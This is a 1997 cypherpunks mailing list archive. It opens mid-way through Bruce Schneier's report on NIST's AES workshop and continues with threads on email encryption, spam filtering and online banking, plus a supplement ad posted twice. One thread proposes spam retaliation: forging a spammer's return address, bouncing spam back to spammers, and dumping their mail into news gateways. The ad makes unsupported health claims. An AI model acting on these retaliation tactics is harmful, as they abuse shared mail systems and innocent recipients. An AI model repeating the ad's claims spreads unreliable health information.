Still, they are open to a discussion on stream ciphers.  (They got a lot of
discussion, but seemed to ignore it.)  They are also open to block sizes
larger than 64 bits.  (The general consensus was 128 bits.)  They would
prefer to have a single algorithm in AES, as opposed to a family of
algorithms (this prompted discussion as well).

	3.  NIST is open to a discussion on key length: whether it should
be a single large keylength or a variable keylength.  NIST also "intends to
recognize triple-DES when it becomes an ANSI standard."  NIST wants the AES
to offer significant advantages over triple-DES.  (They said this over and
over.  Their opinion was that if the process just recognized triple-DES,
then it wasn't really worth bothering.)

	4.  NIST pointed out that requiring both hardware and software
implementations precluded the submission of algorithms that could be
implemented only in hardware.  (Remember the security restrictions imposed
on Skipjack.)

	5.  Regarding patent-free implementations, NIST strongly prefers a
royalty-free world-wide implementation.  They will accept patented
algorithms, but will heavily favor royalty-free algorithms.

	6.  Comments on the judging criteria:  Regarding security, NIST
strongly encourages a public explanation of the rationale behind any
constants or tables, and a statement of the work factor required to attack
the algorithm; they will judge all attacks below the work factor for
practicality.  Regarding computational efficiency, NIST will favor
efficiency on 32-bit processors and short key-setup time, will test
efficiency on a little endian processor, and will publish the specs of the
test system.  They also encourage two submissions: reference (possibly in
Java) and optimized (in C).  Regarding memory requirements, NIST will
measure memory requirements for C implementation on a single reference
platform (presumably a Pentium Pro), although submitters are welcome to
provide results for other platforms.  Regarding hardware and software
suitability, NIST believes that the primary applications for the AES are
for large processors (although they would "value" flexibility to run on
8-bit processors), and do not believe that they can require hardware
gate-count values from submission.   Regarding simplicity, NIST intends to
evaluate algorithms on their simplicity of design (is there a rationale, or
is the algorithm just a hodge-podge?) and implementation.  Regarding
flexibility, NIST received many conflicting comments on the value of
flexibility versus the value of fixing parameters.  NIST intends to
evaluate algorithms on their ability to implement on differing platforms
for various applications.  They will consider defining a standard interface
for testing.  Regarding variant algorithms, they worry about the difficulty
of analysis and the loss of compatibility; they assume the number of rounds
would be fixed for any given key size.

	7.  NIST agrees that AES will be used for 20-30 years, that
security is more important than efficiency or flexibility, and that
efficiency is of equal importance to flexibility.  They have no control
over export control laws, and will comply with any export control laws.
The design should be for a strong algorithm, regardless of the legal
climate.  NIST reiterated that the AES should be at least as secure as
triple-DES.

Jim Foti provided proposed responses to comments on the "Proposed Draft
Submission Requirements."  NIST will specify block and key sizes, and will
encourage submitters to include design rationale.  They will ask for a
reference implementation as well as an optimized implementation (suitable
for a IBM-compatible Pentium PC running Windows 95 with 16MB of RAM). They
will ask for efficiency estimates for various platforms, including
bytes/sec for encryption, decryption, and key setup, as well as gate counts
and memory requirements for hardware implementations.  They would like a
graph with a plot of speed versus memory.  They will require a suite of
test vectors to ensure all implementations of the algorithm are correct,
and a statement regarding possible patent issues (legal issues may be
appropriate).  They will require a list of any known weak or equivalent
keys, complementation properties, etc., a mathematical rationale for any
items that could hide a trap door, and a reference list of any publications
that discuss cryptanalysis of the algorithm.  NIST will not accept
proprietary submissions (with the possible exception of the optimized
implementation).  The submitter must agree to waive copyright on submitted
materials (again, with the possible exception of the optimized
implementation).  And the submitter must provide a statement of expected
strength of the algorithm, with supporting rationale.  Of course
submissions from outside the U.S. would be welcome.

Ed Roback discussed the selection process.  We've had the draft criteria
and submission requirements (1/2/97), the public comment process (closed on
4/2/97), and the workshop on criteria and submission requirements (today).
NIST estimates that it will take three months to prepare a public call for
submissions, which they will publish in the Federal Register.  The call for
submissions would be closed after four to six months.  Then, they would
take about two months to review submissions for completeness and
correctness (not security), and then they would publish everything and
invite the public to review and analyze the algorithms.  There would be
some workshop early on in the process where the submitters could campaign
for their particular algorithm.  After about 6 months, though would be an
interim workshop where people could comment on the algorithms.  (NIST
doesn't plan on funding cryptanalysis, or offering prizes our bounties for
successful cryptanalysis.)  NIST would think about this for a while (three
months), and would then publish a list of narrowed candidates (exactly how
narrowed is unknown).  After another six to nine months of public comments,
there would be a final workshop.  Then, NIST would review everything (about
two months) and publish a draft FIPS.  Another three months for comments on
the draft FIPS, a month to revise the draft, and then the Secretary of
Commerce approves the FIPS.  Times are approximate (of course), but NIST
expects the process to take "well over two years."  It was pretty much
universally thought that this schedule is wildly optimistic.

NIST doesn't know if this algorithm will be a replacement for DES, or an
alternative to DES with higher security.  With DES and triple-DES so
entrenched, it will be impossible to migrate to AES quickly.  (Remember
that the NIST standard only applies to U.S. Government systems, although
they are often used in broader contexts.)

Discussion followed.  All the pre-lunch arguments were about block and key
size.  Block sizes of 64 bits and 80 bits were quickly eliminated, as was a
64-bit keysize.  People wanted variable keysizes of some subset of 128,
192, 256, or even 512 bits, and block sizes of either 128 bits or 128 and
256 bits.  There was no discussion of stream ciphers, or using block
ciphers as hash functions.

NIST has a hard time figuring out how to measure hardware efficiency.
They'd like to have definitive metrics (like there will be for software)
but are unwilling to force submitters to provide VHDL code, or gate counts,
or whatever.

NIST talked about what to do about "tweaking" algorithms after submission.
What if a break is found, but a simple fix prevents the attack?  What if
someone submits an algorithm and someone else proposes a tweak?  These
questions were not answered.

They also debated whether or not the optimized implementation of the
algorithm could be proprietary.  Pros are that it encourages clever
implementations, and implementations from people other than the inventor.
Cons are that it withholds information from the public, and that it doesn't
allow independent verification of proprietary implementations.  One halfway
proposal was to make optimized implementations public, but allow owners to
retain copyright.  The audience seemed to prefer that optimized
implementations be kept secret by NIST.

There were further discussions on the legal issues.  When do the inventors
give up their rights to the algorithm?  What rights, exactly, do they give
up?  What about patents that an inventor might unknowingly infringe upon?
What is an inventor submits an algorithm and then, a year and a half later,
tries to pull it out of the process?  It was almost universally agreed that
these are hard questions.

And in a final show of hands, ten people admitted that they were "thinking
of submitting an algorithm."

Editorialization time....

Before I showed up, the major question in my mind was whether this was a
serious attempt to develop a secure encryption algorithm to replace DES, or
just another red herring by the government to keep us busy while they go on
eavesdropping.  Now I believe that the NIST representatives at the meeting
are sincere, but I still don't know how they fit in a larger context

This is serious business.  Any algorithm proposed in 1997 won't be approved
until at least 2000.  It will be a standard for 20-30 years, in legacy
systems for at least another ten, securing data that might need to be
secured for another 20.  This means we are trying to estimate security in
the year 2060.  I can't estimate security ten years from now, let alone 60.
The only wise option is to be very conservative.

I'm not sure that NIST knows what it wants.  Technically, a FIPS is only
for government use, but NIST would like everyone to use it.  Communities
like banking are likely to adopt a FIPS right out of the box; other
organizations will view a U.S. Government standard with suspicion.  Still,
NIST needs to decide if they want this AES to be all things to all people,
or a specific encryption algorithm to satisfy a specific set of
requirements.  Everyone in the audience had different ideas about this.

The audience was a mix of government agents, corporate representatives,
academics, and random yahoos.  Of course, the random yahoos talked for more
than their share.  My worry is that NIST will get many more submissions
than they bargained for; I think that every random yahoo is going to submit
his pet algorithm.  NIST hopes the community will be able to quickly
separate the random stupid algorithms from the serious submissions, but I
am less sure that politics will allow NIST to.  Assuming a 128-bit block
requirement doesn't preclude everything already done, I  urge companies
with patented or patent-pending algorithms to give up royalties and submit
their algorithms.  I assume CAST (royalty-free from Northern Telcom), SAFER
(royalty free from Cylink), Blowfish (unpatented), and Square (unpatented)
will be submitted; I would also like to see RC5 from RSADSI, IDEA from
Ascom-Systec, and Khufu from Xerox.  Failing that, I would like to see new
submissions out of the various cryptographic research institutions.  The
yahoos are going to submit regardless; we need at least a small pile of
quality algorithms.

But is there enough time for people to invent strong 128-bit block ciphers?
Probably not.  One alternative is to take existing 64-bit block ciphers,
and then use a 4-round Luby-Rackoff construction to create a 128-bit block
variant.  Another is to give people more time.  Both were talked about.  I
would like them to approve triple-DES as an interim standard, and then take
all the time they need for a secure 128-bit block cipher.

So now we wait for the call for submissions.

/s/  Bruce Schneier

************************************************************************
* Bruce Schneier            2,000,000,000,000,000,000,000,000,002,000,
* Counterpane Systems       000,000,000,000,000,000,002,000,000,002,293
* schneier@counterpane.com  The last prime number...alphabetically!
* (612) 823-1098            Two vigintillion, two undecillion, two
* 101 E Minnehaha Pkwy      trillion, two thousand, two hundred and
* Minneapolis, MN  55419    ninety three.
* http://www.counterpane.com
************************************************************************






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: C Matthew Curtin <cmcurtin@research.megasoft.com>
Date: Tue, 15 Apr 1997 15:49:03 -0700 (PDT)
To: Chris DiBona <chrisd@loc201.tandem.com>
Subject: Re: What's good for the goose...
In-Reply-To: <01BC49A3.FD146380@colobus.loc201.tandem.com>
Message-ID: <199704152246.SAA25622@goffette.research.megasoft.com>
MIME-Version: 1.0
Content-Type: text/plain


>>>>> "Chris" == Chris DiBona <chrisd@loc201.tandem.com> writes:

Chris> Make your return address "wallace@cyberpromo.com" , that's
Chris> right... Good old spamford wallaces email address needs a
Chris> little traffic. You'll want to change your SIG so that people
Chris> don't freak out on you.

Something that I've been toying with is setting up an alias that all
of the fools who spam somehow get subscribed to.  Procmail then
filters incoming email for spam.  Rejects are redirected to the alias,
rather than simply /dev/null.  Those that slip through procmail get
"bounced" to the alias.  And, of course, there's always the option of
instead piping the spam to a program that sends the mail to the alias
from one of its own members.

Chris> IN FACT, and although I WOULD never RECCOMMEND THIS

Indeed.

-- 
Matt Curtin  Chief Scientist  Megasoft, Inc.  cmcurtin@research.megasoft.com
http://www.research.megasoft.com/people/cmcurtin/    I speak only for myself
Death to small keys.  Crack DES NOW!   http://www.frii.com/~rcv/deschall.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Tue, 15 Apr 1997 15:59:34 -0700 (PDT)
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: Microsoft Site Gestapo
In-Reply-To: <199704110530.WAA01009@fat.doobie.com>
Message-ID: <Pine.SUN.3.91.970415190057.16255C-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 10 Apr 1997, Huge Cajones Remailer wrote:

> At 08:53 PM 4/10/97 -0700, you wrote:
> >Welcome to Site Builder Network - Level 1.
> >
> >We went to your site(s) and found the Microsoft Internet Explorer logo
> >and link, so your membership has been upgraded to Level 1.  You now have
> >access to the Members Only - Level 1 Lounge as well as the Members Only
> >Download Area.  Please take some time to visit
> >http://www.microsoft.com/sbnmember/lounges/lounges.asp to see what's in
> >store for you.  Your ID and password are listed below for your
> >convenience.
> >
> >Do you think you qualify for Level 2?  Would you like to?  The reason
> >your Level 2 registration failed could be one of the following reasons:
> >
> >You are not using an ActiveX control.
> >======================================
> >To find out more about ActiveX, go to our home page at
> 
> 
> Fuck you.

So just add the shutdown ActiveX control. :)

"ActiveX ActiveX, format hard drive? Just say yes!" :)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If  you're  gonna die,  die  with your|./|\.
..\|/..|sunder@sundernet.com|boots on;  If you're  gonna  try,  just |/\|/\
<--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/
../|\..| "A toast to Odin,  |you're gonna die, you're gonna die!"    |.\|/.
.+.v.+.|God of screwdrivers"|  --Iron Maiden "Die With Your Boots on"|.....
======================== http://www.sundernet.com =========================
  For with those which eternal lie, with strange eons even death may die.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 15 Apr 1997 16:36:54 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Online Banking: "MoneyClip"
Message-ID: <v030209b3af79be3ed92e@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


X-Sender: oldbear@pop.tiac.net
Date: Tue, 15 Apr 1997 15:59:34 -0400
To: Digital Commerce Society of Boston <dcsb@ai.mit.edu>
From: The Old Bear <oldbear@arctos.com>
Subject: Online Banking: "MoneyClip"
Mime-Version: 1.0
Sender: bounce-dcsb@ai.mit.edu
Precedence: bulk
Reply-To: The Old Bear <oldbear@arctos.com>

MONEYCLIP DOES ONLINE BANKING

A group of companies has developed a device that turns
almost any PC into an automatic teller machine.  The
MoneyClip, which is a diskette that incorporates a
smart card and access software, enables users "to
perform virtually any ATM transaction from the comfort
of their homes," says the CEO of the Home Financial
Network, one of the four developers.

In order to use the MoneyClip, a PC has to already be
loaded with online banking software and the owner has
to have an account at a bank that offers online
banking.

source: Tampa Tribune
        April 14, 1997

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To unsubscribe from the dcsb list, send a letter to: Majordomo@ai.mit.edu
In the body of the message, write:  unsubscribe dcsb
Or, to subscribe,           write:  subscribe dcsb
If you have questions, write to me at Owner-DCSB@ai.mit.edu

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frantz@netcom.com (William S. Frantz)
Date: Tue, 15 Apr 1997 19:45:14 -0700 (PDT)
To: enystrom@aurora.nscee.edu
Subject: Re: Introducing newbies to encryption (was: Re: anonymous credit)
In-Reply-To: <Pine.CVX.3.91.970414204503.6444A-100000@aurora.nscee.edu>
Message-ID: <199704160244.TAA10775@netcom6.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


> It's absolutely true that nothing on a centralized Unix machine is truly 
> secure.  However, is abandoning all pretenses of crypto and security in 
> favor of holding out for a utopian ideal really the best solution?  Does 
> using encryption for email on multiuser machines actually hurt the cause 
> of the security community in the long run?
> 
> (I'm not asking rhetorical questions here -- I'm truly looking for some 
> thoughts on this.)

Since security is not binary (i.e. talking of secure and insecure is
nonsense.  You must talk of more or less secure.), you have to look at the
threats.  If you are sending email from a multi-user Unix machine, encrypting
it removes some threats (e.g. wiretaping) without adding any new threats.
(There are still the continuing parade of UNIX holes based on the C string
model.)

I would say that if users don't think they are safe, just think they are
a bit safer, then encrypting on a multi-user machine is a good thing because
it is more secure than not encrypting.  It is still less secure than a 
single-user system with Tempest shielding.

-----------------------------------------------------------------
Bill Frantz                   Periwinkle  --  Computer Consulting
(408)356-8506                 16345 Englewood Ave.
frantz@netcom.com             Los Gatos, CA 95032, USA




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: cm@subcellar.mwci.net
Date: Tue, 15 Apr 1997 19:10:18 -0700 (PDT)
To: cosmic@flock.mwci.net
Subject: URGENT
Message-ID: <199704160151.UAA24491@subcellar.mwci.net>
MIME-Version: 1.0
Content-Type: text/plain


Hello;

"My research indicates the following material is of 
interest to you.  If you prefer not to be on this 
mailing list, please let us know, and you will be 
promptly removed."

I am on a mission, no I'm on a CRUSADE to educate people
that there are no "GET RICH QUICK" programs, only honest or
dishonest opportunities.  There are also, no "Miracle 
Products" or "Cure All Products".  Remember, what you see
isn't always what you get.  Anything that has the potential 
to be a money-earner will take some work, and sometimes
alot of work.

I (Christopher Miller) started this Company with the belief
that it shouldn't be necessary for you to spend a fortune to
be healthy and feel good. Also, I believe that there are far
too many companies that offer Business Opportunities only
to end up draining the Distributors bank account instead of
filling it. There are also many deceptive trade practices
taking place everyday where Con-Artists take advantage of
unsuspecting people.  Our products are very competitively 
priced and Distributorships are very inexpensive to operate.

Cosmic Enterprises, a world leader in manufacturing quality 
nutritional products.   

With its headquarters located in Iowa, La., Cosmic 
Enterprises has Independant Representatives in the U.S.,
Indonesia and the United Kingdom.  President Christopher
Miller who is the founder, started his Nutritional career 
working from home in his spare time, doing research on his 
own value packed Nutritional Energy Formula.

This energy product is the result many months of research,
shopping and testing.  I was searching for a product that
would satisfy the need for sustained energy levels, increased
mental alertness, balanced blood pressure and blood sugar 
levels along with antioxidant prtection and improved hormone
activity.  Not finding one, I started on a quest to find a 
manufacturing company that would want to do things my way.
After many months of searching and negotiations the result 
of my quest was born.  I called the formula Renew because
it does so many things.  It literally enhances every one of
the body processes and functions.

If all this sounds too good to be true, it's because we have
been programmed by large corporations all these years to 
beleive that the things we need to healthy are very very 
expensive.  In fact, just the opposite is true.

We at Cosmic Enterprises have gone to great lenghts to 
provide our customers with he most value-packed product that
has ever been placed on the market.  The pharmacalogical 
make up of Renew has been very well researched to ensure the
synergistic properties of the ingredients were not sacrificed.  
The majority of products on the market are made up of a
single ingredient and the rest of it is composed of fillers.
Just to give you an idea of how much filler material we've
consumed over the years, listen to this example.  Renew is 
packed in a "00" {double ought} capsule which can hold
from 850 milligrams up to well over 1000 milligrams of 
material depending upon the molecular weight of the
individual ingredients, most single ingredient products 
that are available in capsule form use a "0" {single ought}
capsule which can hold up to 550 milligrams of material or 
possibly much more depending on the weight.  

Now let's say that this product has 25 milligrams of active 
ingredient, then why is the pill so big?  It doesn't take a
mathematician to figure out that most of your money just 
went toward fillers instead of what you thought you were 
getting.  Also, many of these products come in tablet form, 
which means that they are capable of holding much more 
because the pill press compresses the ingredients.  So even 
though the tablet or caplet may be large, that doesn't mean 
there's alot of active ingredients.  There are, however, 
many multible ingredient products out there, some of them 
are very good I might add.  The truth is though, many 
products only use one or two main ingredients and trivial 
amounts (sometimes reffered to as window dressings) for 
the remainder of the ingredients.  

The purpose here is not to hold any particular company in 
judgement, but to demonstrate the difference between Renew 
and many of the products being bought by millions of 
unsuspecting people every day.  Renew contains less than 
100 milligrams (approximately) of fillers and each 
ingredient in Renew is, according to the most recent 
research studies, present in effective dosage levels . . . 
Not just window dressings.  That means that in that "00" 
{double ought} capsule that is capable of holding up to 
1000+ milligrams of material contains less than 100 
milligrams of filler.  There is over 1100 milligrams of
active ingredients in Renew.  Furthermore, if there are 
other products that can make this statement, I would like 
to see that people can still get a good deal.  The kind of 
deal where you really get what you paid for. 

##########################################################

For More Information Contact:

Chris Miller 
(318) 588 - 4473
cosmic@info.mwci.net

##########################################################






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: cm@subcellar.mwci.net
Date: Tue, 15 Apr 1997 19:06:13 -0700 (PDT)
To: cosmic@flock.mwci.net
Subject: URGENT
Message-ID: <199704160151.UAA24477@subcellar.mwci.net>
MIME-Version: 1.0
Content-Type: text/plain


Hello;

"My research indicates the following material is of 
interest to you.  If you prefer not to be on this 
mailing list, please let us know, and you will be 
promptly removed."

I am on a mission, no I'm on a CRUSADE to educate people
that there are no "GET RICH QUICK" programs, only honest or
dishonest opportunities.  There are also, no "Miracle 
Products" or "Cure All Products".  Remember, what you see
isn't always what you get.  Anything that has the potential 
to be a money-earner will take some work, and sometimes
alot of work.

I (Christopher Miller) started this Company with the belief
that it shouldn't be necessary for you to spend a fortune to
be healthy and feel good. Also, I believe that there are far
too many companies that offer Business Opportunities only
to end up draining the Distributors bank account instead of
filling it. There are also many deceptive trade practices
taking place everyday where Con-Artists take advantage of
unsuspecting people.  Our products are very competitively 
priced and Distributorships are very inexpensive to operate.

Cosmic Enterprises, a world leader in manufacturing quality 
nutritional products.   

With its headquarters located in Iowa, La., Cosmic 
Enterprises has Independant Representatives in the U.S.,
Indonesia and the United Kingdom.  President Christopher
Miller who is the founder, started his Nutritional career 
working from home in his spare time, doing research on his 
own value packed Nutritional Energy Formula.

This energy product is the result many months of research,
shopping and testing.  I was searching for a product that
would satisfy the need for sustained energy levels, increased
mental alertness, balanced blood pressure and blood sugar 
levels along with antioxidant prtection and improved hormone
activity.  Not finding one, I started on a quest to find a 
manufacturing company that would want to do things my way.
After many months of searching and negotiations the result 
of my quest was born.  I called the formula Renew because
it does so many things.  It literally enhances every one of
the body processes and functions.

If all this sounds too good to be true, it's because we have
been programmed by large corporations all these years to 
beleive that the things we need to healthy are very very 
expensive.  In fact, just the opposite is true.

We at Cosmic Enterprises have gone to great lenghts to 
provide our customers with he most value-packed product that
has ever been placed on the market.  The pharmacalogical 
make up of Renew has been very well researched to ensure the
synergistic properties of the ingredients were not sacrificed.  
The majority of products on the market are made up of a
single ingredient and the rest of it is composed of fillers.
Just to give you an idea of how much filler material we've
consumed over the years, listen to this example.  Renew is 
packed in a "00" {double ought} capsule which can hold
from 850 milligrams up to well over 1000 milligrams of 
material depending upon the molecular weight of the
individual ingredients, most single ingredient products 
that are available in capsule form use a "0" {single ought}
capsule which can hold up to 550 milligrams of material or 
possibly much more depending on the weight.  

Now let's say that this product has 25 milligrams of active 
ingredient, then why is the pill so big?  It doesn't take a
mathematician to figure out that most of your money just 
went toward fillers instead of what you thought you were 
getting.  Also, many of these products come in tablet form, 
which means that they are capable of holding much more 
because the pill press compresses the ingredients.  So even 
though the tablet or caplet may be large, that doesn't mean 
there's alot of active ingredients.  There are, however, 
many multible ingredient products out there, some of them 
are very good I might add.  The truth is though, many 
products only use one or two main ingredients and trivial 
amounts (sometimes reffered to as window dressings) for 
the remainder of the ingredients.  

The purpose here is not to hold any particular company in 
judgement, but to demonstrate the difference between Renew 
and many of the products being bought by millions of 
unsuspecting people every day.  Renew contains less than 
100 milligrams (approximately) of fillers and each 
ingredient in Renew is, according to the most recent 
research studies, present in effective dosage levels . . . 
Not just window dressings.  That means that in that "00" 
{double ought} capsule that is capable of holding up to 
1000+ milligrams of material contains less than 100 
milligrams of filler.  There is over 1100 milligrams of
active ingredients in Renew.  Furthermore, if there are 
other products that can make this statement, I would like 
to see that people can still get a good deal.  The kind of 
deal where you really get what you paid for. 

##########################################################

For More Information Contact:

Chris Miller 
(318) 588 - 4473
cosmic@info.mwci.net

##########################################################






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Bill Campbell" <wcampbel@peganet.com>
Date: Tue, 15 Apr 1997 18:19:35 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Online Banking: "MoneyClip"
In-Reply-To: <v030209b3af79be3ed92e@[139.167.130.246]>
Message-ID: <199704160119.VAA18624@mercury.peganet.com>
MIME-Version: 1.0
Content-Type: text/plain



Robert Hettinga <rah@shipwright.com> forwarded:

> MONEYCLIP DOES ONLINE BANKING
>
> A group of companies has developed a device that turns
> almost any PC into an automatic teller machine.  The
> MoneyClip, which is a diskette that incorporates a
> smart card and access software, enables users "to
> perform virtually any ATM transaction from the comfort

Actually, it should be pointed out that the Money Clip
is actually a Smarty Smart Card Reader (from Fischer
International) , not a "diskette".

=Bill=




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian C. Lane" <nexus@eskimo.com>
Date: Wed, 16 Apr 1997 07:07:46 -0700 (PDT)
To: =?iso-latin-de?Q?Heinz-J=FCrgen_Keller?= <hjk@ddorf.rhein-ruhr.de>
Subject: Re: How to IGNORE massive To: and Cc: spams
In-Reply-To: <Pine.LNX.3.95.970415135757.23182G-100000@alien.lummerland.de>
Message-ID: <Pine.LNX.3.96.970415212153.15991A-100000@fozzy.islet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Tue, 15 Apr 1997, [iso-latin-de] Heinz-Jürgen Keller wrote:

> This is a real problem to me. As I recieve mail via cslip using
> popclient there seems to be no way to get it sorted. Though I'm not a
> programmer at all I could instruct procmail to do what I want. It works
> fine when I'm sending mail from one account to the other locally. You can

  I'm using fetchpop under Linux to grab my email. It has an option to
feed it to procmail for delivery to your local mailbox. It works great for
me. You should be able to find it at the usual Linux mirror sites.

- ---------------------------------------------------------------------------
    Nexus Computing     | Hardware and Software Design
 www.eskimo.com/~nexus  | Motorola, Microchip and Linux solutions
- ---------------------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: noconv
Comment: Processed by mkpgp, a Pine/PGP interface.

iQCVAwUBM1RUTaQxGtxXsXypAQEmxgQAkKDeVNocxPpGq4y1aSy72/1fy1i9GrGI
+gs5sS6tBEb/uALVDXURVbaaT+ngIbZW7aJzbaBuqAu7eLMYjKwx6cAXuc0EL0LN
QGeV9HVD62VGaKQAPaDMFG89GV3DyETac5xbTHCrNRrhj2ACei4tpG52vFyMv9V4
oC87jbJOiv4=
=ykLg
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 15 Apr 1997 19:29:12 -0700 (PDT)
To: hjk@ddorf.rhein-ruhr.de (=?iso-latin-de?Q?Heinz-J=FCrgen_Keller?=)
Subject: Re: How to IGNORE massive To: and Cc: spams
In-Reply-To: <Pine.LNX.3.95.970415135757.23182G-100000@alien.lummerland.de>
Message-ID: <199704160224.VAA00425@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


try using fetchmail linstead of popclient.

fetchmail passes all emails on to the local (localhost) sendmail.

igor

=?iso-latin-de?Q?Heinz-J=FCrgen_Keller?= wrote:
> 
> On Sun, 13 Apr 1997, Igor Chudov @ home wrote:
> 
> > Dr.Dimitri Vulis KOTM wrote:
> > > 
> > > ichudov@algebra.com (Igor Chudov @ home) writes:
> > > >
> > > > [this is only of interest to UNIX(tm) users. Windows users, please ignore]
> > > 
> > > I suspect that a typical Windows user with a POP account usually has a unix
> > > account and a home directory (although its shell may be /etc/false or some
> > > such); he may be able to ftp to it and create a .forward file pointing
> > > to procmail, who will look at the incoming mail before passing on to his
> > > PPP. I don't really know shit about this, so don't flame me if this
> > > doesn't work. :-)
> > 
> > If the user shell is /bin/false, most likely the .forward file will not
> > be able to invoke any programs.
> > 
> > 	- Igor.
> > 
> > 
> > 
> This is a real problem to me. As I recieve mail via cslip using
> popclient there seems to be no way to get it sorted. Though I'm not a
> programmer at all I could instruct procmail to do what I want. It works
> fine when I'm sending mail from one account to the other locally. You can
> find information on procmail on the net (and this list). But nobody seems
> to know about popclient, which according to the man-pages may be
> influenced by an awk-script to do sorting.
> Does anybody know about an example script on that? An URL?
> Not that I know about awk. But you can't do anything w/o trying.
> 
> -Tom
> 
> ################################################################################
>    Heinz-Juergen Keller                               hjk@ddorf.rhein-ruhr.de 
>    Derendorfer Str.36                                 voice:49-211-464314     
>    40479 Duesseldorf                                                           
>    Germany
> ################################################################################
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 15 Apr 1997 19:45:04 -0700 (PDT)
To: enystrom@aurora.nscee.edu (Eric Nystrom)
Subject: Re: Introducing newbies to encryption (was: Re: anonymous credit)
In-Reply-To: <Pine.CVX.3.91.970415005525.8148B-100000@aurora.nscee.edu>
Message-ID: <199704160242.VAA00733@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Eric Nystrom wrote:
> 
> On Tue, 15 Apr 1997 ichudov@algebra.com wrote:
> 
> > I would not call it truly "utopian". There is not much that's needed to
> > achieve reasonable personal security, protecting from attacks from the
> > Internet  -- an individual (pesonal) computer system that offers no
> > internet services. Could be bought for $300 or less.
> 
> That makes a lot of sense for data security in the general sense, but I'm 
> uncertain how useful that would be in terms of helping the user have more 
> secure email.  Is there an offline mail reader for standard Unix systems 
> that would run on a platform like you describe?  
> 

Yes, there is one.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 15 Apr 1997 20:06:42 -0700 (PDT)
To: frantz@netcom.com (William S. Frantz)
Subject: Re: Introducing newbies to encryption (was: Re: anonymous credit)
In-Reply-To: <199704160244.TAA10775@netcom6.netcom.com>
Message-ID: <199704160255.VAA00973@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


William S. Frantz wrote:
> > It's absolutely true that nothing on a centralized Unix machine is truly 
> > secure.  However, is abandoning all pretenses of crypto and security in 
> > favor of holding out for a utopian ideal really the best solution?  Does 
> > using encryption for email on multiuser machines actually hurt the cause 
> > of the security community in the long run?
> > 
> > (I'm not asking rhetorical questions here -- I'm truly looking for some 
> > thoughts on this.)
> 
> Since security is not binary (i.e. talking of secure and insecure is
> nonsense.  You must talk of more or less secure.), you have to look at the
> threats.  If you are sending email from a multi-user Unix machine, encrypting
> it removes some threats (e.g. wiretaping) without adding any new threats.
> (There are still the continuing parade of UNIX holes based on the C string
> model.)
> 
> I would say that if users don't think they are safe, just think they are
> a bit safer, then encrypting on a multi-user machine is a good thing because
> it is more secure than not encrypting.  It is still less secure than a 
> single-user system with Tempest shielding.

right, the real problem is that users start thinking that they are
really safe, and start doing dumb things.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Tue, 15 Apr 1997 22:36:22 -0700 (PDT)
To: C Matthew Curtin <cmcurtin@research.megasoft.com>
Subject: Re: What's good for the goose...
In-Reply-To: <01BC49A3.FD146380@colobus.loc201.tandem.com>
Message-ID: <3.0.1.32.19970415222927.03196100@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


At 06:46 PM 4/15/97 -0400, C Matthew Curtin wrote:
>>>>>> "Chris" == Chris DiBona <chrisd@loc201.tandem.com> writes:
>
>Chris> Make your return address "wallace@cyberpromo.com" , that's
>Chris> right... Good old spamford wallaces email address needs a
>Chris> little traffic. You'll want to change your SIG so that people
>Chris> don't freak out on you.
>
>Something that I've been toying with is setting up an alias that all
>of the fools who spam somehow get subscribed to.  Procmail then
>filters incoming email for spam.  Rejects are redirected to the alias,
>rather than simply /dev/null.  Those that slip through procmail get
>"bounced" to the alias.  And, of course, there's always the option of
>instead piping the spam to a program that sends the mail to the alias
>from one of its own members.

If you REALLY wanted to be evil, you could just find a handy mail to news
gateway and hand off their message to *.test.  Of course most spammers do
not use a valid return address, so such retaliation is not that useful...


---
|            "Mi Tio es infermo, pero la carretera es verde!"            |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
